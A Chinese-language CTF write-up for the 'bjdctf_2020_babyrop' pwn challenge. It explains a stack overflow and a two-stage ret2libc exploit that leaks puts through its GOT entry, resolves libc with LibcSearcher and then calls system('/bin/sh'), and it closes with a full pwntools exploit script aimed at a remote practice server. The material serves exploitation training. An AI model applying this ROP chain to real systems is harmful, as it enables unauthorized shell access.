bjdctf_2020_babyrop

首先来个checksec，发现开了NX，是个64位程序

使用ida64打开程序，发现比我脸都干净

 点一下vuln，这味道熟悉了嗷，栈溢出。

按一下shift+f12，发现嘛也没有，但“can u return to libc？”很是显眼。上图还有个puts，想法稍微明确，这是让咱用puts找基址，间接去找system和bin/sh字符串。

 

 实现步骤分为两步：

第一步：找基址，这里需要LibcSearcher（这no matched是相当愁人，但不知道为何删了库反而好了，暂时不确定是咋回事）

准备工作如下

 找到puts的plt和got地址，以及pop-rdi-ret的地址和程序开始的地址，plt和got就直接用elf了

找pop-rdi-ret可以这样子在文件目录下找。

ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

接下来是真的找基址了

payload1=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload1)
puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump("puts")
system=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump("str_bin_sh")

这里解释一下

b“A”(0x28）就不解释了。pop rdi放入返回地址，返回时执行，把puts的got表地址返回到rdi里，接下来ret到puts plt，puts-plt则是执行puts函数，rdi里是puts got的地址，而这个地址又指向puts的真实地址。也就是说，puts put了自己的真实地址。相当于投案自首了

payload1写好后发送，变量puts接收了真实地址。这里用了个ljust。puts地址前6个字节有效，所以最后得人为添加’\x00’补全8字节（这里其实我也没太明白6个字节有效）。

puts真实地址减去偏移地址得到基址，基址加system的偏移地址得到system的真实地址。

第二步：执行system

payload2=b"A"*(0x28)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system)
p.recvuntil(b"story!\n")
p.sendline(payload2)
p.interactive()

一回生二回熟，这次知道pop rdi传参给system了。

打完收工，拿到flag

以下是完整代码

from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",27835)
elf=ELF("./bjdctf_2020_babyrop")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734
payload1=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload1)
puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump("puts")
system=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump("str_bin_sh")
payload2=b"A"*(0x28)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system)
p.recvuntil(b"story!\n")
p.sendline(payload2)
p.interactive()